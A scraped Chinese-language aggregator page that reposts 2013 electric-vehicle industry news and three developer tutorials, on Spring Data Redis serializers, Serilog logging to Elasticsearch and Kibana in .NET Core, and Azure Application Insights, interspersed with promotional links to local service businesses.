中國新能源汽車補貼未來兩年將下調 地方政府伸出援手

據南方網報導,在針對私人市場新能源補貼新政《關於繼續開展新能源汽車推廣應用工作的通知》(以下簡稱《通知》)出台月餘之際,中國大陸地方政府終於按捺不住了。

按照《通知》中的目標,在2013年至2015年這3年間,特大型城市或重點區域新能源汽車累計推廣量不低於1萬輛,其他城市或區域累計推廣量不低於5,000輛。

此外,《通知》明確,2014年和2015年,純電動乘用車、插電式混合動力(含增程式)乘用車、純電動專用車、燃料電池汽車補助標準在2013年標準的基礎上分別下降10%和20%。在新政補貼標準降低的情況下,地方政府開始伸出援手。

深圳市政府已經著手出台新能源汽車補貼的相關細則,最早會在12月出台,具體的補貼細則為與中央補貼一比一的比例。此外,北京市政府於2013年10月30日出台了《北京市2013-2017年機動車排放污染控制工作方案》,其中亦提出了關於推廣新能源汽車的相關細則。

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

新北清潔公司,居家、辦公、裝潢細清專業服務

※別再煩惱如何寫文案,掌握八大原則!

※教你寫出一流的銷售文案?

※超省錢租車方案

FB行銷專家,教你從零開始的技巧

充電設施不足 雷諾日產150萬電動車銷量恐難達成

雷諾暨日產執行長高恩(Carlos Ghosn)在接受英國「金融時報」訪問時首度公開坦承,由於充電設施不足,雷諾日產無法達成在2016年全球電動車銷售150萬輛的目標,達到時間將較預期落後4年多。

雷諾與日產已在電動車上投資數十億美元,高恩也一向大力唱好電動車前景。但他受訪時承認,電動車市場不如他的預期。他預估,以目前銷售速度來看,要達成銷售150萬電動車目標,恐怕較預定2016年的時間,再往後延4年或5年。

雖然政府向汽車業施壓去降低廢氣排放量,但到目前為止,電動車生產成本高,難以銷售和行駛哩數有限。尤其主要市場缺乏充電設施,產生所謂「續航憂慮」現象。

雖然外界普遍認為電動車價格高昂,是讓其難以普及的主因,但高恩認為充電與支援等基礎設施不足,才是導致雷諾日產難以達成銷售目標原因。在挪威和美國加州,因為政府給電動車買家提供補貼,並廣泛建設充電據點,才刺激電動車買氣。

雷諾與日產過去5年共賣出逾12萬輛電動車,為業界最高。日產Leaf為全球賣最好的電動車,迄今賣出約8.5萬輛。此外,雷諾日本與三菱已同意合作全球銷售小電動車,外界看好能進一步降低技術成本。

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

新北清潔公司,居家、辦公、裝潢細清專業服務

※別再煩惱如何寫文案,掌握八大原則!

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※超省錢租車方案

※教你寫出一流的銷售文案?

網頁設計最專業,超強功能平台可客製化

美國汽車監管機構對Model S起火展開調查

據彭博社報導,美國汽車監管機構正調查特斯拉汽車公司(Tesla Motors Inc.)的Model S電動車,此舉恐讓特斯拉股價進一步往下掉。Model S號稱是「全美最安全的汽車」,有觀點認為,這是特斯拉可能展開召回的跡象。

Model S電動車此前在5週內發生3起起火意外。美國國家公路交通安全管理局(NHTSA)昨(19)日在官網宣布將進行調查,並表示會調查汽車底盤撞擊物體的起火風險,調查對象包括1,3108輛Model S。

上週表示「絕對不會召回汽車」的特斯拉執行長馬斯克(Elon Musk),昨(19)日在NHTSA宣布調查前幾個小時在部落格貼文表示,公司希望這次調查可以消除外界對Model S安全性的「錯誤觀感」。

馬斯克寫道:「雖然我們認為這極度不可能,但如果在乘客防火安全可大幅改善上有任何發現,我們會立刻在新車上改進,並免費維修所有出售車輛。」他還表示,因為這些起火意外,特斯拉將修改損害範圍的保固內容,並更新氣壓避震器,讓汽車在高速行駛時拉大底盤離地高度。

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※為什麼 USB CONNECTOR 是電子產業重要的元件?

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※台北網頁設計公司全省服務真心推薦

※想知道最厲害的網頁設計公司"嚨底家"!

新北清潔公司,居家、辦公、裝潢細清專業服務

※推薦評價好的iphone維修中心

與特斯拉競爭 BMW、通用等洛杉磯車展推電動車

據華爾街日報報導,美國電動車商特斯拉(Tesla)去年推出Model S後,越來越多的車商參與到豪華電動車市場的競爭。

BMW、通用的凱迪拉克、福斯的保持捷與奧迪,都趁本周揭幕的洛杉磯車展,展出自家新電動車或插電式油電混合車。雖各家車廠的推進技術與Model S不同,但都想爭奪加州消費者的心,此一族群是特斯拉的重要客戶層。

電動車目前在整體車市占有率微不足道。即使日產Leaf電動車需求增加,讓日產擴大Leaf產能,但今年來,電動車僅占美國輕型車銷售約1%。

電動車售價,因鋰離子電池昂貴而難以下降,加上續航力不足,被視為市場接受度不高的主因。但售價7萬美元的特斯拉Model S,因高電池效能讓其充電一次可行駛265英里,因此供不應求。此外政府制定廢氣排放要求趨嚴,也迫使車商生產更多電動車或油電車。

奧迪在洛杉磯車展展出A3 E-Tron插電式油電混合車,準備在2015年上市;但沒有透露何時推出全電動版。通用表示,其ELR油電車因售價7.6萬美元,而會被市場拿來與Model S做比較。BMW在車展上推出13.5萬美元起跳的i8插電式油電跑車,和4萬美元的城市通勤電動小車i3。

而多款豪華插電式新車在明年上市,對特斯拉影響有多大,還要看此一市場規模是否已經變大,抑或大家仍在爭食同一塊大餅。

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理
【其他文章推薦】

USB CONNECTOR掌控什麼技術要點? 帶您認識其相關發展及效能

台北網頁設計公司這麼多該如何選擇?

※智慧手機時代的來臨,RWD網頁設計為架站首選

※評比南投搬家公司費用收費行情懶人包大公開

※幫你省時又省力,新北清潔一流服務好口碑

※回頭車貨運收費標準

談談spring-boot-starter-data-redis序列化

在上一篇中springboot 2.X 集成redis中提到了在spring-boot-starter-data-redis中使用JdkSerializationRedisSerializerl來實現序列化,
這裏看下具體是如何實現的。
1.RedisSerializer接口
在spring-data-redis包下,有一個RedisSerializer接口,提供了序列化和反序列化的基本接口。

public interface RedisSerializer<T> {

	/**
	 * Serialize the given object to binary data.
	 *
	 * @param t object to serialize. Can be {@literal null}.
	 * @return the equivalent binary data. Can be {@literal null}.
	 */
	@Nullable
	byte[] serialize(@Nullable T t) throws SerializationException;

	/**
	 * Deserialize an object from the given binary data.
	 *
	 * @param bytes object binary representation. Can be {@literal null}.
	 * @return the equivalent object instance. Can be {@literal null}.
	 */
	@Nullable
	T deserialize(@Nullable byte[] bytes) throws SerializationException;

	/**
	 * Obtain a {@link RedisSerializer} using java serialization.<br />
	 * <strong>Note:</strong> Ensure that your domain objects are actually {@link java.io.Serializable serializable}.
	 *
	 * @return never {@literal null}.
	 * @since 2.1
	 */
	static RedisSerializer<Object> java() {
		return java(null);
	}

	/**
	 * Obtain a {@link RedisSerializer} using java serialization with the given {@link ClassLoader}.<br />
	 * <strong>Note:</strong> Ensure that your domain objects are actually {@link java.io.Serializable serializable}.
	 *
	 * @param classLoader the {@link ClassLoader} to use for deserialization. Can be {@literal null}.
	 * @return new instance of {@link RedisSerializer}. Never {@literal null}.
	 * @since 2.1
	 */
	static RedisSerializer<Object> java(@Nullable ClassLoader classLoader) {
		return new JdkSerializationRedisSerializer(classLoader);
	}

	/**
	 * Obtain a {@link RedisSerializer} that can read and write JSON using
	 * <a href="https://github.com/FasterXML/jackson-core">Jackson</a>.
	 *
	 * @return never {@literal null}.
	 * @since 2.1
	 */
	static RedisSerializer<Object> json() {
		return new GenericJackson2JsonRedisSerializer();
	}

	/**
	 * Obtain a simple {@link java.lang.String} to {@literal byte[]} (and back) serializer using
	 * {@link java.nio.charset.StandardCharsets#UTF_8 UTF-8} as the default {@link java.nio.charset.Charset}.
	 *
	 * @return never {@literal null}.
	 * @since 2.1
	 */
	static RedisSerializer<String> string() {
		return StringRedisSerializer.UTF_8;
	}
}

可以看到byte[] serialize(@Nullable T t)和T deserialize(@Nullable byte[] bytes)就是序列化和反序列化接口,並且下面還定義了java的JdkSerializationRedisSerializer序列化、json的GenericJackson2JsonRedisSerializer和string的StringRedisSerializer.UTF_8.
2.1 JdkSerializationRedisSerializer序列化

public class JdkSerializationRedisSerializer implements RedisSerializer<Object> {

	private final Converter<Object, byte[]> serializer;
	private final Converter<byte[], Object> deserializer;

	/**
	 * Creates a new {@link JdkSerializationRedisSerializer} using the default class loader.
	 */
	public JdkSerializationRedisSerializer() {
		this(new SerializingConverter(), new DeserializingConverter());
	}

	/**
	 * Creates a new {@link JdkSerializationRedisSerializer} using a {@link ClassLoader}.
	 *
	 * @param classLoader the {@link ClassLoader} to use for deserialization. Can be {@literal null}.
	 * @since 1.7
	 */
	public JdkSerializationRedisSerializer(@Nullable ClassLoader classLoader) {
		this(new SerializingConverter(), new DeserializingConverter(classLoader));
	}

	/**
	 * Creates a new {@link JdkSerializationRedisSerializer} using a {@link Converter converters} to serialize and
	 * deserialize objects.
	 *
	 * @param serializer must not be {@literal null}
	 * @param deserializer must not be {@literal null}
	 * @since 1.7
	 */
	public JdkSerializationRedisSerializer(Converter<Object, byte[]> serializer, Converter<byte[], Object> deserializer) {

		Assert.notNull(serializer, "Serializer must not be null!");
		Assert.notNull(deserializer, "Deserializer must not be null!");

		this.serializer = serializer;
		this.deserializer = deserializer;
	}

	public Object deserialize(@Nullable byte[] bytes) {

		if (SerializationUtils.isEmpty(bytes)) {
			return null;
		}

		try {
			return deserializer.convert(bytes);
		} catch (Exception ex) {
			throw new SerializationException("Cannot deserialize", ex);
		}
	}

	@Override
	public byte[] serialize(@Nullable Object object) {
		if (object == null) {
			return SerializationUtils.EMPTY_ARRAY;
		}
		try {
			return serializer.convert(object);
		} catch (Exception ex) {
			throw new SerializationException("Cannot serialize", ex);
		}
	}
}

在JdkSerializationRedisSerializer構造方法中,傳入了Converter的兩個對象,serialize的序列化就使用SerializingConverter的convert方法

public byte[] convert(Object source) {
	try  {
		return this.serializer.serializeToByteArray(source);
	}
	catch (Throwable ex) {
		throw new SerializationFailedException("Failed to serialize object using " +
				this.serializer.getClass().getSimpleName(), ex);
	}
}

Serializer 接口

void serialize(T object, OutputStream outputStream) throws IOException;

default byte[] serializeToByteArray(T object) throws IOException {
	ByteArrayOutputStream out = new ByteArrayOutputStream(1024);
	serialize(object, out);
	return out.toByteArray();
}

在這裏JdkSerializationRedisSerializer中,使用的是DefaultSerializer,它實現了serialize方法:

public class DefaultSerializer implements Serializer<Object> {

	/**
	 * Writes the source object to an output stream using Java serialization.
	 * The source object must implement {@link Serializable}.
	 * @see ObjectOutputStream#writeObject(Object)
	 */
	@Override
	public void serialize(Object object, OutputStream outputStream) throws IOException {
		if (!(object instanceof Serializable)) {
			throw new IllegalArgumentException(getClass().getSimpleName() + " requires a Serializable payload " +
					"but received an object of type [" + object.getClass().getName() + "]");
		}
		ObjectOutputStream objectOutputStream = new ObjectOutputStream(outputStream);
		objectOutputStream.writeObject(object);
		objectOutputStream.flush();
	}

}

可以看到使用了ObjectOutputStream的writeObject方法來實現的,下面會繼續調用writeObject0方法,相關可以查看ObjectOutputStream的序列化和反序列化。
JdkSerializationRedisSerializer的反序列化方式轉化類型有區別,這裏就不詳細介紹了。

2.2 GenericJackson2JsonRedisSerializer序列化
GenericJackson2JsonRedisSerializer主要使用ObjectMapper來實現。

@Override
public byte[] serialize(@Nullable Object source) throws SerializationException {

	if (source == null) {
		return SerializationUtils.EMPTY_ARRAY;
	}

	try {
		return mapper.writeValueAsBytes(source);
	} catch (JsonProcessingException e) {
		throw new SerializationException("Could not write JSON: " + e.getMessage(), e);
	}
}

@Override
public Object deserialize(@Nullable byte[] source) throws SerializationException {
	return deserialize(source, Object.class);
}
public <T> T deserialize(@Nullable byte[] source, Class<T> type) throws SerializationException {

	Assert.notNull(type,
			"Deserialization type must not be null! Please provide Object.class to make use of Jackson2 default typing.");

	if (SerializationUtils.isEmpty(source)) {
		return null;
	}

	try {
		return mapper.readValue(source, type);
	} catch (Exception ex) {
		throw new SerializationException("Could not read JSON: " + ex.getMessage(), ex);
	}
}

查看writeValueAsBytes方法,並且繼續向下,可以看到使用了jackson相關包進行json化數據。

private final void _serialize(JsonGenerator gen, Object value,
		JsonSerializer<Object> ser, PropertyName rootName)
	throws IOException
{
	try {
		gen.writeStartObject();
		gen.writeFieldName(rootName.simpleAsEncoded(_config));
		ser.serialize(value, gen, this);
		gen.writeEndObject();
	} catch (Exception e) {
		throw _wrapAsIOE(gen, e);
	}
}

2.3 StringRedisSerializer
StringRedisTemplate中使用了UTF_8的編碼格式。

public class StringRedisSerializer implements RedisSerializer<String> {

	private final Charset charset;

	/**
	 * {@link StringRedisSerializer} to use 7 bit ASCII, a.k.a. ISO646-US, a.k.a. the Basic Latin block of the Unicode
	 * character set.
	 *
	 * @see StandardCharsets#US_ASCII
	 * @since 2.1
	 */
	public static final StringRedisSerializer US_ASCII = new StringRedisSerializer(StandardCharsets.US_ASCII);

	/**
	 * {@link StringRedisSerializer} to use ISO Latin Alphabet No. 1, a.k.a. ISO-LATIN-1.
	 *
	 * @see StandardCharsets#ISO_8859_1
	 * @since 2.1
	 */
	public static final StringRedisSerializer ISO_8859_1 = new StringRedisSerializer(StandardCharsets.ISO_8859_1);

	/**
	 * {@link StringRedisSerializer} to use 8 bit UCS Transformation Format.
	 *
	 * @see StandardCharsets#UTF_8
	 * @since 2.1
	 */
	public static final StringRedisSerializer UTF_8 = new StringRedisSerializer(StandardCharsets.UTF_8);

	/**
	 * Creates a new {@link StringRedisSerializer} using {@link StandardCharsets#UTF_8 UTF-8}.
	 */
	public StringRedisSerializer() {
		this(StandardCharsets.UTF_8);
	}

	/**
	 * Creates a new {@link StringRedisSerializer} using the given {@link Charset} to encode and decode strings.
	 *
	 * @param charset must not be {@literal null}.
	 */
	public StringRedisSerializer(Charset charset) {

		Assert.notNull(charset, "Charset must not be null!");
		this.charset = charset;
	}

	/*
	 * (non-Javadoc)
	 * @see org.springframework.data.redis.serializer.RedisSerializer#deserialize(byte[])
	 */
	@Override
	public String deserialize(@Nullable byte[] bytes) {
		return (bytes == null ? null : new String(bytes, charset));
	}

	/*
	 * (non-Javadoc)
	 * @see org.springframework.data.redis.serializer.RedisSerializer#serialize(java.lang.Object)
	 */
	@Override
	public byte[] serialize(@Nullable String string) {
		return (string == null ? null : string.getBytes(charset));
	}

	@Override
	public Class<?> getTargetType() {
		return String.class;
	}
}

當你的redis數據庫裏面本來存的是字符串數據或者你要存取的數據就是字符串類型數據的時候,可以使用這種方式,非常簡便。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※為什麼 USB CONNECTOR 是電子產業重要的元件?

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※台北網頁設計公司全省服務真心推薦

※想知道最厲害的網頁設計公司"嚨底家"!

新北清潔公司,居家、辦公、裝潢細清專業服務

※推薦評價好的iphone維修中心

.NETCore微服務探尋(三) – 分佈式日誌

前言

一直以來對於.NETCore微服務相關的技術棧都處於一個淺嘗輒止的了解階段,在現實工作中也對於微服務也一直沒有使用的業務環境,所以一直也沒有整合過一個完整的基於.NETCore技術棧的微服務項目。正好由於最近剛好辭職,有了時間可以寫寫自己感興趣的東西,所以在此想把自己了解的微服務相關的概念和技術框架使用實現記錄在一個完整的工程中,由於本人技術有限,所以錯誤的地方希望大家指出。

目錄

  • .NETCore微服務探尋(一) – 網關
  • .NETCore微服務探尋(二) – 認證與授權

項目地址:https://github.com/yingpanwang/fordotnet/tree/dev

為什麼需要分佈式日誌

在項目的運行運行過程中,不可避免的是由於系統原因或者業務原因產生的警告或異常,這時我們需要根據產生的異常或警告信息快速排查出現的問題並修復,但是由於多個服務產生的過於龐雜的信息使那些以往通過直接寫入日誌文件的方式已經無法滿足快速排查的需求了,因為直接寫入日誌文件只能根據事先制定好的規則查看日誌信息,但是由於體量過大導致排查起來異常麻煩,例如,如果問題出現在 6月20日的凌晨1點 日誌文件對應的是 log-2020-06-20 ,那麼導致這個問題產生的原因可能20日之前的前置問題已經產生,如果我們需要排查的話,由於無法宏觀分析問題的出現原因,那麼需要日誌文件逐個查看導致效率低下。

如果採用分佈式日誌的話,首先由於日誌由日誌中心統一存儲,不需要寫入本地文件減少了IO(不包括由於項目與日誌收集中心通訊失敗而導致本地補償產生的日誌),其次搭配其他的可視乎,管理,分析組件,可以有一個良好的日誌管理與可視化,排查時可以通過相關的信息篩選,過濾無關信息,從宏觀信息中精準查詢指定信息,從而提高排查效率。

怎麼給項目接入分佈式日誌系統

  • Exceptionless Asp.Net Core 開源分佈式日誌組件

  • Log組件+ Elasticsearch+ Kibana 這種模式採用的時通過擴展已有日誌組件(Log4Net,Serilog,NLog等),通過Elasticsearch使用或不適用隊列的模式收集日誌,然後通過Kibana可視化管理分析組件 實現日誌的收集分析

    目前我所了解的搭建分佈式日誌系統的方式有兩種,但他們的方式其實底層都差不多 主要依賴Elasticsearch作為日誌的收集,然後搭配可視化的插件,這裏我選擇的時採用的是第二種方式,因為對代碼的侵入性較小,可以比較靈活的根據實際的業務需要添加日誌組件的相關插件。

首先安裝並運行Elasticsearch(es) 和 Kibana

這裏不詳細講 es/kibana 的配置,安裝好jdk以後 直接運行bin目錄下的elasticsearch.bat/kibana.bat 就可以了

注意 :
1.es 運行依賴jdk
2.Kibana 運行需要 對應es 對應的版本

其次擴展已有日誌組件使其通過es支持日誌收集

由於項目中我採用的時Serilog所以下面的代碼都是以Serilog為主,但由於是實現Asp.Net Core中的ILogger,使用實際差距不大\

1.根據需要安裝依賴組件

必須(二選一)

  • Serilog Serilog 基本庫
  • Serilog.AspNetCore AspNetCore框架整合庫,包含Serlog基本庫和控制台日誌實現

可選

  • Serilog.Extensions.Logging 包含了注入Serilog的擴展方法
  • Serilog.Sinks.Async 實現了日誌異步收集
  • Serilog.Sinks.Console 實現了控制台日誌
  • Serilog.Settings.Configuration 如果需要通過json配置文件配置Serilog的話需要安裝此庫
  • Serilog.Sinks.Elasticsearch 實現了Elasticsearch收集

2.初始化Serilog,並添加至AspNetCore的ILoggerFactory

這裏要添加serilog的方式有幾種,常用的是通過硬編碼的情況,另外是通過 xml,json等配置文件的方式,這裏都做一個簡單的示例,更詳細的配置信息可以查看Serilog.Sinks github倉庫中的介紹,非常詳細,這裏不做過多介紹
Serilog.Settings.Configuration項目地址

1.硬編碼的方式


using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using ForDotNet.Common.Consul.Extensions;
using Microsoft.AspNetCore.Builder;
using Microsoft.AspNetCore.Hosting;
using Microsoft.AspNetCore.HttpsPolicy;
using Microsoft.AspNetCore.Mvc;
using Microsoft.Extensions.Configuration;
using Microsoft.Extensions.DependencyInjection;
using Microsoft.Extensions.Hosting;
using Microsoft.Extensions.Logging;
using Serilog;
using Serilog.Sinks.Elasticsearch;

namespace ForDotNet.Web.Api
{
    public class Startup
    {
        public Startup(IConfiguration configuration)
        {
            Configuration = configuration;

            //初始化Serilog
            Log.Logger = new LoggerConfiguration()
                    .Enrich.FromLogContext()
                    .WriteTo.Console(outputTemplate: "[{Timestamp:HH:mm:ss} {Level}] {SourceContext}{NewLine}{Message:lj}{NewLine}{Exception}{NewLine}")
                    .WriteTo.Elasticsearch(new ElasticsearchSinkOptions(new Uri("http://localhost:9200"))
                    {
                        AutoRegisterTemplate = true,
                        IndexFormat = "Api1-{0:yyyy-MM-dd}",// es index模板
                    })
                    .CreateLogger();
        }

        public IConfiguration Configuration { get; }

        // This method gets called by the runtime. Use this method to add services to the container.
        public void ConfigureServices(IServiceCollection services)
        {
            // 添加當前項目服務發現
            services.AddConsulServiceDiscovery();

            services.AddControllers();
        }

        // This method gets called by the runtime. Use this method to configure the HTTP request pipeline.
        public void Configure(IApplicationBuilder app, IWebHostEnvironment env,ILoggerFactory loggerFactory,IHostApplicationLifetime life)
        {
            if (env.IsDevelopment())
            {
                app.UseDeveloperExceptionPage();
            }

            // 添加serilog
            loggerFactory.AddSerilog();

            app.UseConsulServiceDiscovery(life);

            app.UseHttpsRedirection();

            app.UseRouting();

            app.UseAuthorization();

            app.UseEndpoints(endpoints =>
            {
                endpoints.MapControllers();
            });
        }
    }
}


2.通過配置文件的方式

準備需要配置的信息,這裏我們使用的是appsettings.json文件


{
  "Logging": {
    "LogLevel": {
      "Default": "Information",
      "Microsoft": "Warning",
      "Microsoft.Hosting.Lifetime": "Information"
    }
  },
  "ServiceOptions": {
    "ServiceIP": "localhost",
    "ServiceName": "Auth",
    "Port": 5800,
    "HealthCheckUrl": "/api/health",
    "ConsulOptions": {
      "Scheme": "http",
      "ConsulIP": "localhost",
      "Port": 8500
    }
  },
  "Serilog": {
    "WriteTo": [
      {
        "Name": "Elasticsearch",
        "Args": {
          "nodeUris": "http://localhost:9200;http://remotehost:9200/",
          "indexFormat": "auth-{0:yyyy-MM-dd}",
          "autoRegisterTemplate": true
        }
      }
    ]
  }
}

然後更改Serilog的相關初始化代碼為


public Startup(IConfiguration configuration,IHostEnvironment hostEnvironment)
        {

           // 讀取配置文件
           var builder = new ConfigurationBuilder()
               .SetBasePath(hostEnvironment.ContentRootPath)
               .AddJsonFile("appsettings.json", true, true)
               .AddJsonFile($"appsettings.{hostEnvironment.EnvironmentName}.json", true, true)
               .AddEnvironmentVariables();

            Configuration = builder.Build();

            Log.Logger = new LoggerConfiguration()
                    .ReadFrom.Configuration(Configuration)
                    .CreateLogger();
        }

3.將日誌記錄操作轉為異步

由於serilog.sinks實現大多都是同步的方式實現,所以如果需要以異步的方式收集日誌的話需要引用Serilog.Sinks.Async這個庫,並更改相關代碼。詳細請見Serilog.Sinks.Async官方倉庫,
同樣,異步的方式也可以通過配置文件實現,可以查看官方倉庫,這裏只使用硬編碼的方式。


public Startup(IConfiguration configuration,IHostEnvironment hostEnvironment)
        {

           // 讀取配置文件
           var builder = new ConfigurationBuilder()
               .SetBasePath(hostEnvironment.ContentRootPath)
               .AddJsonFile("appsettings.json", true, true)
               .AddJsonFile($"appsettings.{hostEnvironment.EnvironmentName}.json", true, true)
               .AddEnvironmentVariables();

            Configuration = builder.Build();

            Log.Logger = new LoggerConfiguration()
                    .WriteTo.Async(configure =>
                    {
                        configure
                        .Console(outputTemplate: "[{Timestamp:HH:mm:ss} {Level}] {SourceContext}{NewLine}{Message:lj}{NewLine}{Exception}{NewLine}", theme: AnsiConsoleTheme.Code);

                        configure
                        .Elasticsearch(new ElasticsearchSinkOptions(new Uri("http://localhost:9200"))
                        {
                            AutoRegisterTemplate = true,
                            IndexFormat = "auth-{0:yyyy-MM-dd}",

                        });
                    })
                    .CreateLogger();
        }

3.運行並查看

啟動Elasticserach,Kibana,項目后

查看控制台,發現同樣的日誌輸出了兩遍,這是因為AspNetCore默認實現的LoggerProvider 沒有清除所以會導致 打印輸出,我們在啟動時清除默認Provider即可

清除LoggerProvider

然後運行並查看日誌,是不是清爽了很多

然後我們訪問Kiabana查看我們剛剛收集的日誌

訪問 http://localhost:5601 Kibana默認項目地址,不同Kibana版本頁面會有差異

點擊Management建立我們的日誌收集模型

這裏由於我已經建立過其他的模塊的信息,所以可以看到我已經創建的信息,這裏我們點擊創建新的信息

這裏需要輸入 正則表達式 匹配收集的信息,這裏我們輸入我們定義的模板開頭的api1並點擊下一步

這裏選擇@timestamp作為索引模式,也可以選擇不添加,然後創建

創建完成后 去到 Discover 模塊

在左邊選擇需要查看的index

就可以看到我們的日誌已經收集到es中了,可以通過kibana查看了

如果覺得字段過於複雜的話 可以在左邊選擇過濾的字段查看 我這裏已經只選擇了 leve 和 message

好了 ,以上我就我分享的 建立分佈式日誌的內容了,如果有紕漏及錯誤 希望大家指出,謝謝

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理
【其他文章推薦】

USB CONNECTOR掌控什麼技術要點? 帶您認識其相關發展及效能

台北網頁設計公司這麼多該如何選擇?

※智慧手機時代的來臨,RWD網頁設計為架站首選

※評比南投搬家公司費用收費行情懶人包大公開

※幫你省時又省力,新北清潔一流服務好口碑

※回頭車貨運收費標準

Azure Monitor(一)Application Insights

一,引言

  Azure Monitor 是 Azure 中的一項完整堆棧監視服務,是一種收集和分析遙測數據的服務。它提供了一組完整的功能來監視 Azure 資源以及其他雲中和本地的資源。Azure Monitor  該服務有助於實現雲應用程序以及本地資源和應用程序的最大性能和可用性。 它显示了應用程序的執行方式,並可識別應用程序存在的任何問題。

       Azure Monitor 會收集兩種基本類型的數據 – 指標和日誌。 指標表明資源的執行方式,以及使用的其他資源。 日誌包含显示資源創建/修改時間的記錄。

 

 Azure Monitor 從一系列組件中自動收集數據。 例如:

  1,應用程序數據:與自定義應用程序代碼相關的數據。
  2,操作系統數據:來自託管應用程序的 Windows 或 Linux 虛擬機的數據。
  3,Azure 資源數據:與 Azure 資源(如 Web 應用或負載均衡器)的操作相關的數據。
  4,Azure 訂閱數據:與訂閱相關的數據。 它包括有關 Azure 運行狀況和可用性的數據。
  5,Azure 租戶數據:有關 Azure 組織級別服務的數據,例如 Azure Active Directory。
由於 Azure Monitor 是自動系統,因此在創建 Azure 資源(如虛擬機和 Web 應用)后,它會立即從這些源中收集數據。 可通過以下方式擴展 Azure Monitor 收集的數據:
  1,啟用診斷:對於某些資源(如 Azure SQL 數據庫),僅在啟用診斷日誌記錄后才會收到有關資源的完整信息。 可使用 Azure 門戶、Azure CLI 或 PowerShell 來啟用診斷。
  2,添加代理:對於虛擬機,可安裝 Log Analytics 代理,並將其配置為將數據發送到 Log Analytics 工作區。 此代理會增加發送到 Azure Monitor 的信息量。
開發人員可能還想要從自定義代碼(例如 Web 應用、Azure 函數或移動應用)將數據發送到 Azure Monitor。 他們通過調用數據收集器 API 來發送數據。 你可通過 HTTP 與此 REST 接口通信。 此接口與各種開發框架(如 .NET Framework、Node.js 和 Python)兼容。 開發人員可選擇自己最喜歡的語言和框架在 Azure Monitor 中記錄數據。

日誌

日誌包含對資源所做更改的相關時間戳信息。 記錄的信息類型因日誌源而異。 日誌數據會整理成記錄,每種記錄類型具有不同的屬性集。 日誌可以包含数字值(如 Azure Monitor 指標),但大多數日誌包含文本數據,而不是数字值。
最常見的日誌項目類型會記錄事件。 事件可能偶爾發生,而不是按固定的間隔或根據某種計劃發生。 事件由應用程序和服務創建,這些應用程序和服務為事件提供上下文。 可將指標數據存儲在日誌中,以便將其與其他監視數據合併起來用於分析。
在 Log Analytics 工作區中記錄來自 Azure Monitor 的數據。 Azure 提供分析引擎和豐富的查詢語言。 日誌显示了上下文的任何問題,有助於確定根本原因。

指標

指標是数字值,用於描述系統某些方面在某個時間點的情況。 Azure Monitor 可以近乎實時地捕獲指標。 這些指標按固定時間間隔收集,在因其頻繁採樣而發出警報時很有用。 可使用多種算法,將指標與其他指標進行比較,並觀察隨時間變化的趨勢。
指標存儲在時序數據庫中。 分析時間戳數據時,使用此數據存儲最為有效。 指標適用於警報和快速檢測問題。 可通過指標了解有關係統性能的信息。 如果需要,可以將它們與日誌進行合併,確定問題的根本原因。

   Azure Monitor 現在包括 Log Analytics 和 Application Insights,其提供的高級工具適用於收集和分析遙測數據,以便最大程度地提高雲和本地的資源和應用程序的性能和可用性。 它可以幫助你了解應用程序的性能,並主動識別影響應用程序及其所依賴資源的問題。那麼今天就先了解 Application Insights,通過它可以監控網站的可用性、性能和使用情況。快速診斷確定並診斷應用程序中的錯誤,而無需等待用戶報告這些錯誤以及提供用戶數據的分析,用戶,會話,事件等,

二,正文

 1,什麼是 Application Insights?

  Application Insights 是 Azure Monitor 的一項功能。 使用它可以監視實時應用程序。 它將自動檢測性能異常,並且包含了強大的分析工具來幫助診斷問題,了解用戶在應用中實際執行了哪些操作。 它旨在幫助持續提高性能與可用性。 它適用於本地雲、混合雲或任何公有雲中託管的各種平台(包括 .NET、Node.js、Java 和 Python)上的應用。 它與 DevOps 進程集成,並且具有與不同開發工具的連接點。 可以通過與 Visual Studio App Center 集成來監視和分析移動應用的遙測數據。

 2,為NET.Core Web項目添加Application Insights

新增 NET Core Web 項目

 管理 NuGet 包=》Microsoft.ApplicationInsights.AspNetCore

 註冊Application Insights 遙測收集服務

services.AddApplicationInsightsTelemetry();

azure portal 新建 Applaction Insights 服務

點擊 “Create” 按鈕

 

選擇已有的資源組/創建新的資源組,填寫 Application Insights 的服務名稱 “Azure.Monitor.Application_Insights” (我這裡是之前已經創建服務名稱為 “Azure.Monitor.Application_Insights” ,這裏忽略圖中名稱後面沒有 s)

 

 複製圖中圈起來的檢測密鑰:Instrumentation Key

 配置 appsetting 配置文件中的 InstrumentationKey 的值

{
      "ApplicationInsights": {
        "InstrumentationKey": "putinstrumentationkeyhere"
      },
      "Logging": {
        "LogLevel": {
          "Default": "Warning"
        }
      }
    }

3,運行 Web 應用程序,查看遙測數據

選擇 Monitoring=》Logs

 

 

 消息實時上報差不多需要3-5分鐘,差不多3分鐘后,我們再次點擊 “Run”,我們只看到 “Warning”,“Error”,“Critical”,我們沒有得到 “Information” 和 “Debug” (後面會講到)

 同時,如下圖所示,我們還可以寫一些查詢語句,比如根據時間戳降序排列

 

 我們還可以編寫where 條件,例如 查詢 message==”Warning 1″的警告信息

 

 Monitoring Logs的這個功能還是很強大的,它可以瀏覽我們的日誌信息,同時展開當前日誌,可以展示更多的信息,比如 “operation_ParentId”,可以用來關聯來自同一個Http請求的所有的消息的ID

 圈起來的兩組數據,是我相隔2分鐘后的請求日誌結果,我們可以看到它們對ID都有相同的操作。因為是對於我們在一分鐘內看到的是同一個Http請求。

 查看手動拋的異常 Exception

 我們可以看出異常的時間,異常信息,異常發生的位置,異常的類型,操作等等

